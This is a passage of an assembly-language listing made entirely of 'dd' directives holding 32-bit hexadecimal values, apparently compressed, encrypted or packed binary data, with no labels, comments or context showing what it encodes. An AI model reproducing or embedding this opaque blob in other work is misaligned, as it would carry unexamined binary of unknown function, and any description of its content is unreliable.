303280FFh, 0D1C22B99h, 600155F8h, 3E600C91h, 0F040708Bh dd 30440A8Dh, 0B20A89F4h, 0F5160820h, 0BD85780Ch, 6F7C2143h dd 5BACC850h, 16B032D4h, 85C80CF5h, 841143BDh, 770B9DF1h dd 0E160801h, 821268A9h, 76A21010h, 0C76A562Ch, 1BAB7629h dd 563F3926h, 0C4497EBBh, 18446151h, 0C3EC3889h, 4F5B995Bh dd 81E11188h, 3FBAA8BDh, 610401AEh, 0A443850Fh, 0CC0B4D13h dd 0FAF6A850h, 59F9044Eh, 0F30A1C7h, 0A1021184h, 16040C17h dd 0C7943188h, 53DE0C41h, 80231110h, 0D230DD8Ch, 0DB332914h dd 2E531B16h, 36AB712h, 13AC2287h, 4CF29AC0h, 0A758E374h dd 0FCB20292h, 63980F75h, 594DDC01h, 37071AA1h, 1CB421Fh dd 59187311h, 0A655C3F2h, 3E62FB6Ah, 0BC28BD4Ch, 592F0345h dd 0A5F3FC8Bh, 94023D04h, 22C9C481h, 0F724E831h, 0E1054C75h dd 61EBFC01h, 4286A0BEh, 0A4656B7h, 12F88B3Ch, 6345753h dd 8C17A594h, 0BB68CB33h, 57620F27h, 1C09486Ah, 0ADA4D829h dd 7F804070h, 64750C02h, 19EC3E16h, 699F488h, 146C31F8h dd 1C94EF1Fh, 0AFDC1A41h, 59082729h, 8A68371Ch, 7605A722h dd 5A5716B1h, 88CD471Ch, 0D4914F48h, 0F0BC400Fh, 46492696h dd 0A100AC22h, 0D849BD54h, 59DCA112h, 6943696Ch, 0B5FF04F4h dd 0E3369389h, 0DE590D4Ah, 0A17C28B9h, 152553E0h, 2145CD25h dd 0FC41192Eh, 93FB1B5Ch, 0A343618h, 50C8BFD8h, 50889656h dd 57090375h, 1C533AEBh, 0C338940Bh, 0B050E974h, 8582EEB4h dd 62D210A9h, 922D5956h, 571A4A53h, 0E5DF5325h, 56F56211h dd 5AAC4559h, 114FEB0Ah, 0A3C8C77Ah, 87A7229Eh, 100234A1h dd 842E159Fh, 591513F2h, 0E86B15EAh, 2398FF38h, 453EE149h dd 5CFA6306h, 0C18B03B3h, 58046083h, 7B7AFDE2h, 245C1353h dd 9E971D0Ch, 0E9DD64F1h, 14AB8E08h, 9370BF1Ch, 0FAA020E3h dd 0BB207B24h, 0EE0A412h, 3E6B045Eh, 0C287A90Ch, 0E49A0870h dd 8F3721F7h, 2556D980h, 87C1144Dh, 91D2083Ch, 0F600F042h dd 2FB2E74h, 0E1041A56h, 16C1A50Ch, 14631243h, 2EC60367h dd 58AF1010h, 0A8C57B89h, 38865F33h, 0C25D1AA8h, 890F6810h dd 0B1400669h, 0F7AC5007h, 0A766832Ah, 5E512670h, 0A635A0A8h dd 3D25467Eh, 7D2382FFh, 80F2421Eh, 9D0F7F2Eh, 3D4B77C3h dd 7176FEE3h, 0A750F203h, 0A29325BFh, 5C2C586Ch, 2AC8A550h dd 58FBE6FAh, 8A301201h, 0FF078828h, 8D3E7675h, 360FF647h dd 8CC61AEBh, 1AC1A982h, 208808F8h, 2CA1B0Eh, 5C03901Ch dd 8616A606h, 0FB01508Ah, 59FCA259h, 47DE26D5h, 41901A51h dd 0B4F84D8Dh, 7ED74461h, 0C4424F62h, 0D30736EEh, 8281129h dd 0FC29E941h, 3C519540h, 94291554h, 84D0FAB4h, 848A243Fh dd 186F60F1h, 888CE8Bh, 9353D928h, 51E4B940h, 8111496h dd 0A85AC97Ah, 58287C55h, 78287F8Ah, 89F8E139h, 717DB606h dd 0A864D566h, 0C5472F41h, 0D9D0EC89h, 100C1B4Eh, 485E4709h dd 1A415CC2h, 22B41E0Dh, 3461645Bh, 284793C3h, 0E3D5C368h dd 3241CBC2h, 0C3146B1Dh, 600C8A69h, 557F98C6h, 0A8EC2B07h dd 905BA45Eh, 815878B3h, 0B8382453h, 0BF8F49A0h, 7643CFDh dd 0F107D39h, 2DB033A4h, 185D018Bh, 3B08438Dh, 2587F8C7h dd 4A561DCCh, 10C886D0h, 77B0E4E0h, 0FD3C03FFh, 0C00A8CFFh dd 32C86510h, 501AD808h, 0C7A422CDh, 0D50F3F8Ah, 0ACEA03EFh dd 8105A0Fh, 818CCD08h, 0CC2BE9Ah, 0F7F0853Ah, 6A56A2C2h dd 6D93D942h, 6808F8EAh, 36739868h, 4A21539Ah, 0B80C27BDh dd 21B0B5FAh, 52E4452Bh, 0A6773950h, 12E0435Ah, 28512C68h dd 7B0985ADh, 522A0826h, 6A142A56h, 5BA46244h, 68B04011h dd 7FB60410h, 45990763h, 0D69B2E1Dh, 0C4073ACh, 0E453090Eh dd 44282B16h, 68B14310h, 0FE6B5724h, 31FE1826h, 0DB0F881h dd 0FDD51E88h, 17B46426h, 0C7F62997h, 7D2B201Dh, 0E8317186h dd 0FDB48057h, 32B50A57h, 10EC2948h, 0EF1C64C0h, 191AB432h dd 642698BFh, 2C022651h, 8E53D061h, 402868CFh, 0CC89996h dd 102656E0h, 0D00ED454h, 29C4438Eh, 0C7BD42C0h, 0AE3AE02Ah dd 0C011CA80h, 2241D9D5h, 68D7B719h, 2B5CEA08h, 0A1928DCh dd 2068026Ah, 360FA1F3h, 0CC6CCA2Eh, 0A6C80C17h, 0C81CF76Bh dd 19F04D8Eh, 506CF8C8h, 0C27D9DCh, 0EE2E4DD8h, 5B86E566h dd 1C68281Ah, 8C2B12B3h, 0B1F44AB7h, 2BF09460h, 0F091E3DEh dd 0B16F1888h, 9156FCCAh, 31F8F2F8h, 0B8E70E0Ch, 0EE39B864h dd 7267F11Ch, 2C8CE774h, 0BC0D895Eh, 41448EAh, 91110EEBh dd 0CE5F8B10h, 210218Dh, 1B164B3Dh, 0B8953616h, 0FDF05304h dd 0FC658303h, 0F4201786h, 136A63FEh, 89E80146h, 1BDDF8B5h dd 6E13BD94h, 48FDC818h, 68C7192Ah, 8520380Ah, 9313A1CCh dd 11759105h, 50503622h, 8A0113C6h, 4C08230h, 10599958h dd 49654911h, 0CC654A62h, 1540A18Ah, 4C38E715h, 8DD2FC8Ch dd 0E1040BC9h, 0E52D0801h, 867452DFh, 34D0540Bh, 0D31A913Dh dd 0F7C1501Fh, 40C01BD8h, 0B404C45Ch, 47736F30h, 91415FB9h dd 2CFC5D89h, 775B05Eh dd 8872BC32h, 3325020Fh, 682FC065h, 41C82A40h, 14A2B40Dh dd 310CDC08h, 50217068h, 7E89660Ah, 73AC142Fh, 0DB3B5E0Dh dd 5339218Ah, 3064025h, 0FC5F68DFh, 0C3D88213h, 55EEB05Dh dd 0B8D5F385h, 13134361h, 8BC1A40Dh, 0EA508448h, 38EBDB32h dd 8D55BF3Bh, 0FC85CB10h, 0E2F6B4FEh, 0A349690Dh, 1C2A5856h dd 0AFD67480h, 102E3021h, 564B01B3h, 0C38AC831h, 832B732Ah dd 524E2093h, 0A07C1E0Ah, 2DBCFCA1h, 48B127A1h, 5C811EB6h dd 20247645h, 0C940482Ch, 800638C8h, 82E07D12h, 322D3465h dd 2D0E4188h, 1264CB3Dh, 0DD200795h, 0B403E0C1h, 6DDF0EB2h dd 200DDC61h, 7CBA73A2h, 9188451h, 0DD4E8C15h, 8B183555h dd 8F241CC9h, 0C762DE3Bh, 901E59C0h, 78502945h, 0AA9C27B8h dd 0D8C236h, 458A2CA5h, 0AC299713h, 65C889A7h, 88820F89h dd 155521F6h, 5B5230DAh, 8FB086AAh, 391D590Fh, 730AD445h dd 7326F10Ah, 505515C2h, 8258DECCh, 111860Fh, 0BF83CF52h dd 72031E07h, 0EB436A04h, 2151012h, 8F47475h, 3E90189h dd 0D8888FB3h, 99DC5828h, 960804EDh, 0ABDF5830h, 911994A2h dd 0B881EA3Bh, 2B1876E4h, 0CBDDB21Ch, 7D8DD140h, 1FE9C1F0h dd 0C3A5F302h, 3E183CAh, 9885A4BAh, 3737878Ah, 0F9C03055h dd 0E1398002h, 3E28F3Fh, 24ECEC88h, 41EC8F1h, 5D010F03h dd 0C9E2CB0Ch, 4099CA02h, 2ED2EF1h, 460606F2h, 91290F28h dd 33033AC3h, 23820F6h, 0B4EE32C8h, 16DF8679h, 1F76EF05h dd 0B7014501h, 0EC3544BEh, 808ACA51h, 823C64CEh, 138720A3h dd 0B83B46D7h, 0A37272ECh, 0B248EBB6h, 5CF26A18h, 94EED17h dd 52EDD30Dh, 5EE106F1h, 731B4C39h, 0DB0A2B12h, 0E70563Dh dd 0F44E7667h, 87DDB4F1h, 9072F558h, 51904DF1h, 714D4755h dd 230688CEh, 35FF054Bh, 0D7B4A228h, 5724C4C8h, 87144450h dd 80E01381h, 9353B024h, 0BDA964Fh, 6E44F4D7h, 0D89641Ch dd 0A2480335h, 24107144h, 2D97689Fh, 48FE8444h, 92DB3393h dd 0C810D695h, 27900F24h, 7A1C4531h, 7C61C6ECh, 9A748D03h dd 0AFB9F336h, 0FB3B3A02h, 4461D366h, 38B8E83Ch, 0CB3BFF83h dd 0C8E00275h, 181B5D39h, 0A8680374h, 4D685051h, 0B2698FD8h dd 141A0E7Bh, 85A165C9h, 974C63Bh, 0D584023Bh, 0AC246457h dd 99E4EE22h, 40E383ADh, 0A5140EFEh, 105F13BBh, 0CCF4BBF5h dd 44020D5h, 0E0A50E80h, 2336FFFBh, 0BDBCB9DCh, 23E18C15h dd 8B8F4B68h, 682140FBh, 89CA7428h, 5E52869Eh, 38217EC6h dd 0FC6F08CBh, 430421B8h, 977B9005h, 46C947A4h, 1E705164h dd 212D2CF8h, 590A1350h, 2030A403h, 3097FCB1h, 7CCA13BAh dd 56F45C89h, 0FEB50F39h, 0E318856Fh, 7C42447h, 83D88B86h dd 840F1584h, 7D82A6CFh, 37F9ABE6h, 78A5D5BBh, 0BCE42247h dd 68E6E441h, 0BC9192E8h, 0B6531012h, 0E6814586h, 50400756h dd 288A4075h, 0A00FC385h, 2CF48BC1h, 38F16589h, 8BB6114Ch dd 0D377149Dh, 163CC817h, 976875E3h, 5321F806h, 1C004711h dd 999535EBh, 98A8B50h, 501D0E75h, 0EB25070Fh, 8A6A6518h dd 521A1275h, 0F1F2AC6h, 9A2FF0B6h, 0B40E043h, 3E82F68h dd 45B147BBh, 0CCDD31F4h, 8C260F02h, 3BA5A6FAh, 3E485E69h dd 0D78F4841h, 0B101BD0Ah, 92A1096Fh, 5E43F2C2h, 2B0F4708h dd 0C33B7046h, 36C00577h, 857A8901h, 33760ADBh, 4DDFB8Bh dd 0D5087E03h, 701D8DDFh, 64B22024h, 2F55244Ch, 3750650h dd 6DF3965Ah, 89A01319h, 2480500Eh, 5DDD1738h, 850C591Ch dd 372E31E4h, 0E8FB8C1Eh, 0D20314ACh, 4250E69Ch, 5A078857h dd 5D9EB4F3h, 0F95A81E5h, 73DD4339h, 69885543h, 0B10B1422h dd 2BF06802h, 4A61B1C2h, 0A60A6173h, 1E96280Ah, 0F1E7A167h dd 4188CFF5h, 5E4B5916h, 11F4166Dh, 2079EB0Ch, 3DB87624h dd 0E475F039h, 12E00478h, 804EB105h, 0FEFF7880h, 1E902973h dd 5644ED3h, 7C891B2Ch, 764BFE47h, 0D24F6E08h, 0E67696D4h dd 0FF4017FEh, 0A5584EBh, 51C3CFDEh, 442E4E28h, 326568Eh dd 770A53C1h, 47C4CD04h, 3090E837h, 5D3FC722h, 0E349CEC2h dd 20210A7Ch, 0FDFF8302h, 0F81D4C76h, 3304044Eh, 80CA3BD2h dd 0FF418A68h, 9DC23A3Bh, 0BFBD3C19h, 75FA8015h, 52C8FE4Ch dd 3424D288h, 83961751h, 2B794589h, 2454380Bh, 84D20810h dd 65E7303Fh, 1E5689EAh, 0D5118808h, 172415E3h, 0C0C133Dh dd 3BFA1FB8h, 1873C71Ah, 0EB381842h, 7E390205h, 5708730Ch dd 0B25F986Ch, 28539255h, 45F8380h, 22746444h, 0BAF07295h dd 488D0A1Bh, 22DD8AFFh, 0FD0A66D1h, 8863F406h, 125107C2h dd 0A36FE465h, 86874CEh, 82FBD09h, 10C6C17Eh, 0C9F148C3h dd 4B527FB7h, 76E210C6h, 3810C595h, 0A54E3DAh, 440C4432h dd 0D47742BFh, 6F178445h, 68082682h, 4C2B1432h, 732E2DC6h dd 4ED813D5h, 4FC7322Ah, 3A5FF04h, 775087CEh, 63854A19h dd 6C628B80h, 44F32BA7h, 765656CAh, 0A9610A24h, 9806915Eh dd 9450B8CFh, 110C596Bh, 70897D8Bh, 6D1A1FCFh, 70F0B661h dd 7628EC32h, 3B81303h, 2478D14h, 9B57BF8h, 0E779100Eh dd 2595CB5h, 25EB0809h, 0AC893C2h, 1BA7C083h, 0B85935B0h dd 40273810h, 808BC31Bh, 0B5E87C26h, 17763EB1h, 8ED26621h dd 67508DAFh, 0E540F812h, 5E8B84F4h, 647C8B08h, 68A84039h dd 0FF60800Eh, 0C188513h, 0FB627787h, 66B81D92h, 0B5821DAEh dd 9E986AECh, 0F95159ACh, 0C7C8E2E9h, 46488A22h, 961B888Ch dd 56B67217h, 7C9364EEh, 7630612Ch, 1C05F6C3h, 14BA56Ch dd 80077501h, 0C009550Dh, 68B41716h, 0B9AAC055h, 0C358E745h dd 44C1731Bh, 769837F6h, 391DB04Ah, 11E5B593h, 1EC7196Bh dd 0DC5612B4h, 57E55AC0h, 717C740Bh, 85390C0h, 6F41A1B8h dd 9648BFC8h, 23BC350Dh, 5755336Bh, 1FD64125h, 0DDC08BFCh dd 6A79C273h, 0F1C3DCC2h, 0DF6B6953h, 88BF922Dh, 2273640Eh dd 8997C03Bh, 8AA8E520h, 0B4D85610h, 0CDDA653Ch, 420128DDh dd 0FA4597D9h, 0DA7C066Ah, 0FE8320F0h, 56213446h, 0E1037563h dd 0DE8619EBh, 78121368h, 0B296ACEAh, 0DE8BD23Fh, 7A0A758Ah dd 42949248h, 6B68830Ah, 8B4E4E21h, 0C117807Eh, 0C9C0C481h dd 0DDD38525h, 99BC09D2h, 0A4201455h, 7EFF1E85h, 56449627h dd 0C6C20A5Fh, 975626C6h, 96A78D18h, 58C80B81h, 1B03EA2Bh dd 0F3D9EBF0h, 393A50BDh, 33746ED8h, 0C7693DA6h, 504C8676h dd 84186889h, 0CDD36941h, 0C8D1099h, 0F73B7E82h, 3D93D97Ch dd 24F98F26h, 20024C62h, 0DE64A166h, 82B5479Eh, 5EFE2171h dd 0CABDF4F6h, 4114AFDh, 0E234EB50h, 0A356D433h, 755213B8h dd 20548AB4h, 4739FBB6h, 2D0C75A1h, 9E4692C2h, 173C4E1Ch dd 880C6AC8h, 6B41196Ah, 0F9081EAh, 0EA38DE84h, 0D443C293h dd 0D8F0FE70h, 68C809C1h, 0F638DE54h, 4A71D8DCh, 0C6083B10h dd 0BDB9850Fh, 3D87D8Bh, 0E00CF40Ch, 0A9200864h, 0A4B24C50h dd 0F10D9239h, 21625A56h, 0D5FE947Ch, 65882D46h, 46ADC61h dd 4E222E5Ah, 0BF2E8B66h, 10FF670Ch, 23D0A0C8h, 15DCBECFh dd 10EAC101h, 1CBBCA0Bh, 239EE2BBh, 0E90E71C6h, 0E114B908h dd 0DC4D8922h, 291C8D42h, 61214DD3h, 0E43004E4h, 138F186Ah dd 609AC9EDh, 8A1DF805h, 0D19DE545h, 2EE46549h, 32229B37h dd 0E618E71Ch, 0ED88902Eh, 8474EC11h, 8BEEEF40h, 4F122A4h dd 8B025DF0h, 91C723C1h dd 84A1C293h, 72CE1E93h, 9399E80Eh, 0F83A97C2h, 0BB65C156h dd 0C6E9AE84h, 7E05E148h, 2D56570Bh, 37796084h, 569711B5h dd 40A132Fh, 18FDB44Dh, 4968D812h, 0E0757334h, 4792B102h dd 621B0A6Ah, 0D2B8B5h, 0CED4682Ch, 74E2C626h, 21A92CCh dd 6C4E6A28h, 34ACC9D4h, 534DD796h, 9B2C93D8h, 53092CEBh dd 79F4522Dh, 820A6C58h, 97CB1EE2h, 0A9B9441Ah, 8DA40085h dd 0CBF924BDh, 36015BACh, 6EA09889h, 94855643h, 331E31F5h dd 250168CEh, 73777947h, 0BD76E876h, 0C8EE9095h, 0A82283FBh dd 38FECC98h, 534C5719h, 68A32EAFh, 4AD1BA69h, 6D7AC48h dd 78A59F68h, 9129B156h, 2E669C32h, 7E099EE8h, 0A6800466h dd 0F521A0D7h, 24358BD2h, 5001C82Bh, 76CC7D89h, 0CA5F54F9h dd 0DB35C9Ah, 24AA411h, 0C38B070Dh, 2722C068h, 290A6A32h dd 9D8922A8h, 1D8B8B90h, 0B50CC850h, 0CC8FDC45h, 8D8F6AFCh dd 593B1774h, 0CB41A3D3h, 8528897Ch, 8C84BD0Ah, 9246FC50h dd 215A9DB3h, 4C35Eh, 0C2FC7D39h, 0C77C08EEh, 646E9C50h dd 0EC777A54h, 540F819Fh, 89F16FAh, 0E94F4963h, 32CD7357h dd 3B217180h, 0E3E7F47Dh, 0C8CD8482h, 10230B6Bh, 0C82242C6h dd 0F548E7FDh, 446DACACh, 0C9293344h, 76829E39h, 92958D1Eh dd 8B42C0B1h, 39080055h, 410F7402h, 412C283h, 5B368D3Bh dd 0EA722922h, 1675040Bh, 406E8C83h, 890D7305h, 301F8D84h dd 28108514h, 7E4AC73Bh, 5650B1C7h, 2568156Ah, 0EE52E0B0h dd 851AD348h, 0C0645612h, 0DDF2B917h, 7F053653h, 18958B52h dd 0D63BF233h, 403A7634h, 38394505h, 40E0C386h, 7206CAC0h dd 4A26EBF4h, 1B73140Eh, 8B805F8Dh, 89410450h, 6C321052h dd 7A723743h, 4D8BA6ECh, 67914057h, 0FDCC8C65h, 771E5635h dd 681774A4h, 2F29E0A8h, 53681808h, 0EB1211A0h, 0C23A5380h dd 0AE810D9Fh, 16886816h, 0FD212989h, 0B5809025h, 2440CCBDh dd 8F687114h, 0CCAD6090h, 908F5068h, 0B010AC48h, 90248D4Eh dd 231EAC30h, 8E41068h, 0EBAC2478h, 3B8F57B0h, 0F0681382h dd 0EC6217DFh, 0D81117DFh, 24B4D0F2h, 1AE2374Ch, 4827A4BEh dd 84FEDCC3h, 0BEA6504Ah, 294E663Dh, 0A9101499h, 9D32D61h dd 9DBB0C4Ch, 9C1CE122h, 6A2A018Fh, 1884BE05h, 28FF423Ch dd 0EEF75066h, 4F74A425h, 0AFEB0F05h, 367C4132h, 0DD91F9B8h dd 0FD30123Dh, 4608ED32h, 0E04532F4h, 0F024EC09h, 494E449h dd 0C8DF5421h, 9A45A028h, 3EF853CBh, 80D0F43h, 3641326Ah dd 10348A5Ah, 624ED048h, 984C68F8h, 7210DE47h, 8829A56Ah dd 1C1AC4EAh, 0F87D3E9Bh, 40682BB8h, 0A86DA433h, 681D1163h dd 0BE18F220h, 928345D4h, 9F082850h, 1BDC24DEh, 8F40EFD3h dd 2E2C2221h, 112AE59h, 0C5B370Ah, 0D317AB1Bh, 1750087Dh dd 25C8D468h, 0F724A431h, 58DEB011h, 12A45673h, 0BC24B5E4h dd 3C6523FBh, 0EA1C071Ah, 0F6ACEC4Bh, 0E02D85F7h, 0C22CEBB8h dd 8C6820A2h, 9E1F4A2Fh, 0D0D884E7h, 42CB0B75h, 7207081Bh dd 0C2953E4Bh, 3B470C80h, 0F1AB2E6h, 22D14A8Eh, 0D3301DE4h dd 0BF0B2D7Dh, 4FF6D46h, 0B95CBBF6h, 6AA73397h, 0B5A0B884h dd 52A3694Eh, 0A2F77784h, 5B14B02Ah, 3D78290Ch, 8C314F99h dd 284435FFh, 16CA91F2h, 59C0C411h, 3312940Ch, 82A0947Eh dd 4BC99BFh, 5756130Ah, 6827D4E3h, 0BB338224h, 5C780822h dd 96152135h, 0EF2D71C8h, 98073F46h, 7432F73Bh, 579B856Ah dd 50EE5FE4h, 7DED069Ah, 0A80EA642h, 0B46F6F3h, 4A75100Ch dd 7D35FDF1h, 572408F8h, 2656C60Bh, 0E3970842h, 5AEC14D1h dd 7520802Fh, 72C73B1Bh, 1D50D07Eh, 0C8B2C590h, 81B0EB22h dd 5904EC59h, 0B892C94Bh, 4412B5DEh, 0C39111ECh, 442A8470h dd 3324AEE2h, 3961EDDBh, 0BC53F81Dh, 72BF8A59h, 25747AA8h dd 0DDC4BE56h, 303062Dh, 70DA4635h, 9F5B1E3h, 8456E234h dd 8A11085Ah, 0F3214A21h, 0C6836082h, 0C7A8AE38h, 7507F87Eh dd 99535EA2h, 0CE1E2033h, 970E146Ah, 0A95400E5h, 46DA06E2h dd 30165A47h, 229CC7B2h, 0D4236A50h, 5A501E4Dh, 14459100h dd 53C534FFh, 0A02DF018h, 6B5C0888h, 8EE22B05h, 0EB0C0A37h dd 74641613h, 2BE7042Dh, 5B18CB79h, 0E1EFB47Ah, 80526A0Eh dd 0D36AF288h, 2948515h, 498393Ah, 2222264Bh, 858FB059h dd 8862698h, 57960149h, 0B6F11691h, 8E644D47h, 419FC3FCh dd 17B99998h, 0BF3685FCh, 0AC046F1Ch, 43CDF9F7h, 1D894C83h dd 1E137128h, 82A5C281h, 0D22C15F0h, 68536119h, 0BE3F8603h dd 0F4207020h, 0CCFC5AA4h, 9050F0CBh, 218A1887h, 989D38D6h dd 0FDA3EB64h, 402895B2h, 0EB7F6A23h, 757913B0h, 18E10B1Dh dd 17302006h, 570D318Bh, 1DB405C7h, 142547A4h, 3741E11Ah dd 8141201Ah, 0D8EC2004h, 927D3528h, 8F4B15Ch, 2DCAE304h dd 90125314h, 0D10F40E0h, 2062D661h, 284024A3h, 2950FC45h dd 3A806853h, 402C558Eh, 8A05ED1Eh, 8BB64580h, 5F1D010Dh dd 2434C969h, 0C3123B35h, 3F0C895Eh, 4C7420D2h, 0B8296012h dd 6A25049Eh, 7563BE32h, 7C1022EEh, 24705053h, 5AD3B3C8h dd 59062829h, 8B27FD93h, 43E02D2h, 0DAEE4C8Dh, 90FE1AF8h dd 888F7C5Ah, 0A53E7248h, 73840B50h, 49ECBC69h, 56555060h dd 89C82126h, 535D5E51h, 0CEA5BEC6h, 0BBE39329h, 40F80620h dd 3196F0FCh, 0F04DC4Ah, 0AAD7659h, 83197125h, 24F813FCh dd 0B2FF409h, 0A36EE35Ch, 188D37BCh, 0D157639h, 5B59D116h dd 7A0BF81Ah, 7A0BFC81h, 3BF0B4A0h, 554C67Fh, 0E018C10Fh dd 4D250308h, 0F809A9F4h, 1CAD0647h, 0CD047C41h, 9F32D149h dd 56012084h, 635FB992h, 90EC65Dh, 0FC7D8902h, 42252653h dd 64A75449h, 7A16BD6Fh, 70CD0C4Fh, 0F3E8CA93h, 65FCCB73h dd 29B01A83h, 0C5954550h, 0AC6CB588h, 0AFF82AA4h, 201FE697h dd 5378FEE0h, 0B57D30E5h, 0F189E45Eh, 44521006h, 8B2556FCh dd 826B7BF8h, 9F0FFB3Bh, 8CC259F1h, 74E91602h, 0BD278DDFh dd 0D8C613B0h, 28C7D475h, 91B94880h, 0D840B262h, 8898524Ah dd 0D293A090h, 8B00FD24h, 0DB6959DEh, 833EA034h, 0EA0D9ADCh dd 1CC52A3Ch, 45389AF4h, 0F07DF8AEh, 94744ECFh, 7AB02C93h dd 597526E0h, 80550EBh, 8B55F12Dh, 35B3DD4Ah, 57C41231h dd 74C4E562h, 0E3A444FDh, 14A41838h, 0D8C536DEh, 163642D0h dd 35C85164h, 1127198Ch, 0F3961444h, 2D159926h, 30E03071h dd 0B1C0687Bh, 428C9169h, 7B18A75Bh, 787D062Eh, 802D7501h dd 222540BDh, 5C954C71h, 0E89D6DE8h, 0C906FE13h, 0B6E6C010h dd 6D4473EFh, 0C02243D9h, 2404C7C2h, 2E886B91h, 5229CFCCh dd 0F88A6DA7h, 41D06D26h, 7559E038h, 0D005D053h, 151463F1h dd 901AFE88h, 4111D679h, 770EB66Fh, 2C3EA508h, 85890B76h dd 14CCAFF2h, 42A412E8h, 43EC20FEh, 43C420A8h, 4BE03394h dd 0D315699Ch, 0FEA84C71h, 0ED8D9844h, 58B93A44h, 6A90DD9Fh dd 0C6429782h, 5D391A5Dh, 0BC885F1Ch, 50B1F527h, 59F2D403h dd 8429226Ah, 0CC881891h, 6FB4F901h, 6FF4DF35h, 0B408EF44h dd 642BFE41h, 0D4F483DBh, 0D14C6422h, 532C27ECh, 0D573E902h dd 4CA72489h, 508081E1h, 6E704DA7h, 40BE6924h, 98C72649h dd 0D5A9B5E3h, 2F94E011h, 0C84D37CCh, 688434B8h, 0B18AE4D8h dd 39FAB04Bh, 75855D50h, 1B531D29h, 0A9CD5025h, 0A126C42Bh dd 34088777h, 315951FEh dd 38EB21E2h, 39C59066h, 0EB35A9D4h, 89FB893Ch, 49A49B1Ch dd 38482E9Ch, 20AF821Ch, 65C85756h, 0A6ECD48Ch, 50295D49h dd 0B48C907Ch, 0C1177334h, 6C02A34h, 99C069D8h, 97F4A0F7h dd 3588D849h, 310D5DC8h, 0AEAA3079h, 3638374Ah, 75D84A4Dh dd 0B31D832h, 4AC0C6A2h, 1E046A2Dh, 0F5EBD6FFh, 70912AA2h dd 0C6684821h, 9A94AD2h, 0E045E02Dh, 51862A0Fh, 0D080CBA7h dd 8DA16105h, 8782E693h, 5006EA60h, 0E5B7833Eh, 76BDE551h dd 4922044Ah, 0A28B6550h, 0F8F44C5Bh, 474A14F2h, 0AFED469Dh dd 6AB8EA24h, 0ED3BCE0Bh, 68C95DDAh, 390B8B77h, 0D40C9870h dd 5313469Bh, 0B3774566h, 9AA2A613h, 754CDB5Ah, 53E6F980h dd 2D356098h, 0D8E845A4h, 73EDCC19h, 0FA9F21D5h, 9821F811h dd 4C849C64h, 0BC8CA1FDh, 5ADE5733h, 0A08A014h, 7A73C0A3h dd 0D90AA3Eh, 80213446h, 70881891h, 19723462h, 43E00C5Ch dd 94442171h, 34881A10h, 0D228465h, 48741928h, 52861041h dd 0F4100DD0h, 27408AECh, 7D1D398Ah, 1B28B13Eh, 1E044474h dd 103C197Dh, 8F60918h, 2C323C73h, 24111010h, 1C118402h dd 19571E04h, 8D01014h, 9A69830Ch, 4066F611h, 73D405C7h dd 6861B89Ch, 0E54DECDCh, 4CA32C8Ah, 141C1627h, 0D0093C5Eh dd 19B015EBh, 29D0D8A3h, 2CD0B22Dh, 29919C34h, 223827A9h dd 0ECC02301h, 0CAB2B414h, 0A8C4BF70h, 0D912032h, 0ACB40C98h dd 0D8854F3h, 431AA4C4h, 10E42374h, 0C404C864h, 0B27F3754h dd 11700062h, 0F013095Ch, 0B462EC20h, 8C73C438h, 1172E423h dd 1068CF04h, 4614DCE2h, 12875140h, 7A91E060h, 43F40C24h dd 88102171h, 0E0C772B0h, 889C9088h, 0F5443621h, 84B01940h dd 17B51161h, 2A270BEBh, 67A3E021h, 552145B8h, 848A2658h dd 1EEBF023h, 841121E0h, 950DD08Ah, 0BC8A85C8h, 1A38940Dh dd 2064AC88h, 8019A062h, 4484925Ch, 0FCAEF073h, 238CC878h dd 20087338h, 8880C772h, 2B0AE471h, 7490848Ch, 0AABAF8C9h dd 33D00D25h, 49C4F85Dh, 0D0413980h, 4C88454Bh, 8323CE4h dd 0C2CAFB1h, 217143FCh, 0DF04901Ch, 230D0C55h, 0EAF80864h dd 0E488F14Eh, 0C8621864h, 865CD419h, 0D6734508h, 0FC23EF4Eh dd 0CA041171h, 68E7F364h, 7218C488h, 0B8091DD4h, 0E1DF94EAh dd 0E4B03FA9h, 287234E8h, 51B02AACh, 0A01142BBh, 34883992h dd 0E7156E99h, 910D788Ah, 91A19F58h, 64548860h, 1B44621Ch dd 3CDA62B5h, 1B26F019h, 520D302Ah, 2021275Ch, 0F471DC8Ah dd 788810CEh, 580F4944h, 514120B1h, 4FE0860h, 831221Ch dd 29363C54h, 91939E10h, 0C2735C08h, 901571DCh, 0EBECC8F0h dd 459CEE04h, 0E73C1468h, 80244A5h, 0E9FC218Eh, 8AB38C15h dd 0B8950DECh, 0DDC8AA6h, 881A3094h, 220C65D0h, 0B41BC00Dh dd 0A819B462h, 4686AC18h, 97A02174h, 480B7494h, 8CC4B00Dh dd 0C72BC31h, 0A0498680h, 230DD169h, 0C8701054h, 0C8D0CF14h dd 3260C410h, 58419150h, 0DA4480Ch, 64105043h, 6448C873h dd 193C6278h, 0ECDD0D2Ch, 120B5DACh, 2C0462E9h, 27484019h dd 0FC528624h, 911C214Eh, 6410883Ch, 190462A8h, 21DF37F4h dd 9FB811E8h, 28520D2Ah, 0DD82A27h, 0CC219846h, 0D14549BBh dd 0F970260Dh, 0AD888CE7h, 259F23AAh, 22CAD8D2h, 5900CB8h dd 237230C4h, 0C02284F9h, 0A80CED19h, 21E14386h, 0CAD59074h dd 0C9953C94h, 90B0210Ch, 24BCCABDh, 0A0C8B190h, 5432A564h dd 140C9919h, 0C8D0CA9h, 81438610h, 741A6C52h, 5A931079h dd 102171C3h, 21691078h, 1161102Ch, 592072ECh, 40734022h dd 0D19BFC51h, 0A8C83C91h, 3172F4E2h, 46281CB8h, 88982373h dd 435672CCh, 0A4F423F8h, 38E81371h, 11A1F4CBh, 0C7231598h dd 5821C47Ch, 0A2FA0D72h, 1971E40Dh, 0A4DC0C54h, 2940431Ah dd 30100D90h, 1C1063DDh, 8C4ACC8h, 0F4302432h, 1C4684E7h dd 2C92E021h, 7005BA74h, 35120D8Bh, 88C48310h, 71E40840h dd 0F10389Ah, 10300C71h, 28408490h, 201784E8h, 0C522CB3Bh dd 72DC3B24h, 0FC471E2Ch, 53315563h, 0C4680318h, 0BAD1FFE5h dd 1D08F3CCh, 6853A69Ch, 502F1E64h, 1FA21D89h, 22E7FAC1h dd 3D748720h, 31D9A8D7h, 0B44C981Ch, 0C88A9CA0h, 98CC930Dh dd 7244A063h, 7FA48438h, 8B27342h, 680465A7h, 0E7A284C9h dd 0E5217F8Eh, 0C8636C14h, 62146460h, 26EC1950h, 0D3C2A7Fh dd 90726021h, 0C494C828h, 73A43118h, 52860C0Ch, 86701A4Ch dd 1041F852h, 0E88AE6F4h, 32E4440Dh, 